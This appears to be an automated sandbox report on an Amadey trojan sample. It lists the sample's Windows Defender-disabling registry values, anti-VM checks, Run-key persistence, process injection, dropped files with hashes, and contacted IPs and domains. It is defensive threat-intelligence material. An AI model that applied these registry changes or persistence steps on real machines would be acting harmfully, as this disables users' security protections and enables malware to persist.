Malware Analysis Report

2024-12-07 15:16

Sample ID 241113-z491fazcmn
Target aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a
SHA256 aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a
Tags
amadey 9c9aa5 discovery evasion persistence spyware stealer trojan execution upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a

Threat Level: Known bad

The file aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a was found to be: Known bad.

Malicious Activity Summary

amadey 9c9aa5 discovery evasion persistence spyware stealer trojan execution upx

Amadey

Amadey family

Modifies Windows Defender Real-time Protection settings

Identifies VirtualBox via ACPI registry values (likely anti-VM)

Command and Scripting Interpreter: PowerShell

Downloads MZ/PE file

Reads user/profile data of web browsers

Windows security modification

Checks computer location settings

Loads dropped DLL

Executes dropped EXE

Checks BIOS information in registry

Drops startup file

Identifies Wine through registry keys

Accesses cryptocurrency files/wallets, possible credential harvesting

Adds Run key to start application

Checks installed software on the system

Suspicious use of NtSetInformationThreadHideFromDebugger

UPX packed file

Drops file in Windows directory

Enumerates physical storage devices

Unsigned PE

System Location Discovery: System Language Discovery

Browser Information Discovery

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Enumerates system info in registry

Suspicious use of FindShellTrayWindow

Suspicious behavior: EnumeratesProcesses

Suspicious use of SendNotifyMessage

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 21:17

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 21:17

Reported

2024-11-13 21:20

Platform

win7-20240903-en

Max time kernel

141s

Max time network

143s

Command Line

"C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe"

Signatures

Amadey

trojan amadey

Amadey family

amadey

Modifies Windows Defender Real-time Protection settings

evasion trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Users\Admin\AppData\Local\Temp\1006054001\c806b222cf.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\1006054001\c806b222cf.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Users\Admin\AppData\Local\Temp\1006054001\c806b222cf.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Users\Admin\AppData\Local\Temp\1006054001\c806b222cf.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\1006054001\c806b222cf.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Users\Admin\AppData\Local\Temp\1006054001\c806b222cf.exe N/A

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1006051001\14821dc761.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1006052001\913cbe613b.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1006054001\c806b222cf.exe N/A

Downloads MZ/PE file

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1006054001\c806b222cf.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1006051001\14821dc761.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1006051001\14821dc761.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1006052001\913cbe613b.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1006052001\913cbe613b.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1006054001\c806b222cf.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1006051001\14821dc761.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1006052001\913cbe613b.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1006054001\c806b222cf.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe N/A

Reads user/profile data of web browsers

spyware stealer

Windows security modification

evasion trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features C:\Users\Admin\AppData\Local\Temp\1006054001\c806b222cf.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" C:\Users\Admin\AppData\Local\Temp\1006054001\c806b222cf.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Windows\CurrentVersion\Run\14821dc761.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1006051001\\14821dc761.exe" C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Windows\CurrentVersion\Run\913cbe613b.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1006052001\\913cbe613b.exe" C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Windows\CurrentVersion\Run\c806b222cf.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1006054001\\c806b222cf.exe" C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A

Checks installed software on the system

discovery

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\skotes.job C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1006051001\14821dc761.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1006052001\913cbe613b.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1006054001\c806b222cf.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1006054001\c806b222cf.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2672 wrote to memory of 2224 N/A C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
PID 2672 wrote to memory of 2224 N/A C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
PID 2672 wrote to memory of 2224 N/A C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
PID 2672 wrote to memory of 2224 N/A C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
PID 2224 wrote to memory of 1676 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006051001\14821dc761.exe
PID 2224 wrote to memory of 1676 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006051001\14821dc761.exe
PID 2224 wrote to memory of 1676 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006051001\14821dc761.exe
PID 2224 wrote to memory of 1676 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006051001\14821dc761.exe
PID 2224 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006052001\913cbe613b.exe
PID 2224 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006052001\913cbe613b.exe
PID 2224 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006052001\913cbe613b.exe
PID 2224 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006052001\913cbe613b.exe
PID 2224 wrote to memory of 1608 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
PID 2224 wrote to memory of 1608 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
PID 2224 wrote to memory of 1608 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
PID 2224 wrote to memory of 1608 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
PID 2224 wrote to memory of 836 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006054001\c806b222cf.exe
PID 2224 wrote to memory of 836 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006054001\c806b222cf.exe
PID 2224 wrote to memory of 836 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006054001\c806b222cf.exe
PID 2224 wrote to memory of 836 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006054001\c806b222cf.exe
PID 2224 wrote to memory of 1636 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006055001\babababa.exe
PID 2224 wrote to memory of 1636 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006055001\babababa.exe
PID 2224 wrote to memory of 1636 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006055001\babababa.exe
PID 2224 wrote to memory of 1636 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006055001\babababa.exe

Processes

C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe

"C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe"

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

"C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"

C:\Users\Admin\AppData\Local\Temp\1006051001\14821dc761.exe

"C:\Users\Admin\AppData\Local\Temp\1006051001\14821dc761.exe"

C:\Users\Admin\AppData\Local\Temp\1006052001\913cbe613b.exe

"C:\Users\Admin\AppData\Local\Temp\1006052001\913cbe613b.exe"

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

"C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"

C:\Users\Admin\AppData\Local\Temp\1006054001\c806b222cf.exe

"C:\Users\Admin\AppData\Local\Temp\1006054001\c806b222cf.exe"

C:\Users\Admin\AppData\Local\Temp\1006055001\babababa.exe

"C:\Users\Admin\AppData\Local\Temp\1006055001\babababa.exe"

Network

Country Destination Domain Proto
RU 185.215.113.43:80 185.215.113.43 tcp
RU 185.215.113.16:80 185.215.113.16 tcp
US 8.8.8.8:53 frogmen-smell.sbs udp
US 172.67.174.133:443 frogmen-smell.sbs tcp
US 172.67.174.133:443 frogmen-smell.sbs tcp
US 172.67.174.133:443 frogmen-smell.sbs tcp
US 172.67.174.133:443 frogmen-smell.sbs tcp
RU 185.215.113.206:80 185.215.113.206 tcp
RU 31.41.244.11:80 31.41.244.11 tcp
RU 185.215.113.43:80 185.215.113.43 tcp

Files

memory/2672-0-0x0000000000870000-0x0000000000B83000-memory.dmp

memory/2672-1-0x0000000077C80000-0x0000000077C82000-memory.dmp

memory/2672-2-0x0000000000871000-0x00000000008D9000-memory.dmp

memory/2672-3-0x0000000000870000-0x0000000000B83000-memory.dmp

memory/2672-5-0x0000000000870000-0x0000000000B83000-memory.dmp

\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

MD5 5414a4ee71faf061656cf6e5799f6814
SHA1 131d118f0a2a8b8347f81dccf232c1126581a48e
SHA256 aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a
SHA512 ab30851216dde32626a62ecaeaab6289d2239a4b8547726fece82c3a744e6deee7ce9886cd1cf8d03ffb95d05a02386a6ecf583099cc803a87517ed20b5d3b87

memory/2672-14-0x0000000000870000-0x0000000000B83000-memory.dmp

memory/2224-16-0x00000000000C0000-0x00000000003D3000-memory.dmp

memory/2672-17-0x0000000000871000-0x00000000008D9000-memory.dmp

memory/2224-18-0x00000000000C1000-0x0000000000129000-memory.dmp

memory/2224-19-0x00000000000C0000-0x00000000003D3000-memory.dmp

memory/2224-22-0x00000000000C0000-0x00000000003D3000-memory.dmp

memory/2224-21-0x00000000000C0000-0x00000000003D3000-memory.dmp

memory/2224-23-0x00000000000C0000-0x00000000003D3000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1006051001\14821dc761.exe

MD5 1679847fc3d6173b33c5bc2b2edca142
SHA1 8e76660cbe31c9ccfd9d43aebcff9e0c9150660f
SHA256 af2c8e421a858c0cf7f416d78c3beba9cb0d53808ab4492fe2a2a747aa7bb0e7
SHA512 c0ffa44a2b2ed196bf3022b053f7a6f2ec03299997535e1069e505e20446ee61d31dbd124fb9e4582c5f71d0fc39a84e6e72fc182716504e097b6a18f95de5b7

memory/2224-43-0x00000000000C1000-0x0000000000129000-memory.dmp

memory/2224-42-0x00000000000C0000-0x00000000003D3000-memory.dmp

memory/1676-41-0x00000000013C0000-0x00000000016CB000-memory.dmp

memory/2224-40-0x00000000060F0000-0x00000000063FB000-memory.dmp

memory/2224-44-0x00000000060F0000-0x00000000063FB000-memory.dmp

memory/2224-45-0x00000000000C0000-0x00000000003D3000-memory.dmp

memory/2224-47-0x00000000000C0000-0x00000000003D3000-memory.dmp

memory/2224-48-0x00000000000C0000-0x00000000003D3000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1006052001\913cbe613b.exe

MD5 7496ab59ffb86bf1c658489ca7128933
SHA1 4b5aff93958a89d2778de9a17918b2df96cf8807
SHA256 bd7faaaf7173bc1fb80c8d60df889957e073407939b3f2aed28a62f61f8ad3d4
SHA512 050db57d5aedd88b1f38c0a1c216abd383f272225710e7ca3aae2f546d061aaddf57701f3e098b545f9a5a984d86750fcb90acede70e3b65f423c284964305cf

memory/2224-64-0x0000000006710000-0x0000000006DCA000-memory.dmp

memory/2224-66-0x0000000006710000-0x0000000006DCA000-memory.dmp

memory/2976-67-0x00000000012D0000-0x000000000198A000-memory.dmp

memory/1676-69-0x00000000013C0000-0x00000000016CB000-memory.dmp

memory/2224-70-0x00000000060F0000-0x00000000063FB000-memory.dmp

memory/2976-71-0x00000000012D0000-0x000000000198A000-memory.dmp

memory/2224-74-0x00000000060F0000-0x00000000063FB000-memory.dmp

memory/2224-75-0x0000000005F60000-0x0000000006273000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1006054001\c806b222cf.exe

MD5 2786f43899bd5d2876cd6591848f9b13
SHA1 2b5d7dec2e55d9bbc30deaa8b7dfcc9d2686e057
SHA256 ea665102e0e2ca7b45bb70ccaef20fc995403d09d75a820e8bbf969a161d5143
SHA512 aa50a04a07e45a74c373a92f00aa4c750b2fd35fc76c6b70a64d932b23e785d7193a7a6ac1cf8db6e51bb419e4c6ff77fdf85ddf7d7655e92600a667bc609be9

memory/2224-89-0x0000000006710000-0x0000000006DCA000-memory.dmp

memory/836-91-0x0000000000900000-0x0000000000BB6000-memory.dmp

memory/2224-90-0x0000000006110000-0x00000000063C6000-memory.dmp

memory/836-92-0x0000000000900000-0x0000000000BB6000-memory.dmp

memory/836-93-0x0000000000900000-0x0000000000BB6000-memory.dmp

memory/2224-94-0x00000000000C0000-0x00000000003D3000-memory.dmp

memory/2224-95-0x0000000005F60000-0x0000000006273000-memory.dmp

memory/2224-96-0x0000000006110000-0x00000000063C6000-memory.dmp

memory/836-98-0x0000000000900000-0x0000000000BB6000-memory.dmp

memory/836-100-0x0000000000900000-0x0000000000BB6000-memory.dmp

memory/2224-101-0x00000000000C0000-0x00000000003D3000-memory.dmp

memory/2224-102-0x00000000000C0000-0x00000000003D3000-memory.dmp

memory/2224-103-0x00000000000C0000-0x00000000003D3000-memory.dmp

memory/2224-104-0x00000000000C0000-0x00000000003D3000-memory.dmp

memory/2224-105-0x00000000000C0000-0x00000000003D3000-memory.dmp

memory/2224-106-0x00000000000C0000-0x00000000003D3000-memory.dmp

memory/2224-107-0x00000000000C0000-0x00000000003D3000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1006055001\babababa.exe

MD5 8fb77810c61e160a657298815346996e
SHA1 4268420571bb1a858bc6a9744c0742d6fd738a83
SHA256 a0840c581f8f1d606fdc43bc98bd386755433bf1fb36647ecf2165eea433ff66
SHA512 b0d0aea14bfbb5dfa17536b1669d85fc1325140f6a0176ae1c04870efa3adc902d5755f0df00d305f01120960e95bfc40c37c7519ec2827797ebaa95097cfeb2

memory/2224-120-0x00000000000C0000-0x00000000003D3000-memory.dmp

memory/2224-121-0x00000000000C0000-0x00000000003D3000-memory.dmp

memory/2224-122-0x00000000000C0000-0x00000000003D3000-memory.dmp

memory/2224-123-0x00000000000C0000-0x00000000003D3000-memory.dmp

memory/2224-124-0x00000000000C0000-0x00000000003D3000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 21:17

Reported

2024-11-13 21:20

Platform

win10v2004-20241007-en

Max time kernel

149s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe"

Signatures

Amadey

trojan amadey

Amadey family

amadey

Modifies Windows Defender Real-time Protection settings

evasion trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe N/A

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1006052001\c60401dce1.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1006051001\7bd6e826e1.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1006052001\c60401dce1.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1006052001\c60401dce1.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1006051001\7bd6e826e1.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1006051001\7bd6e826e1.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
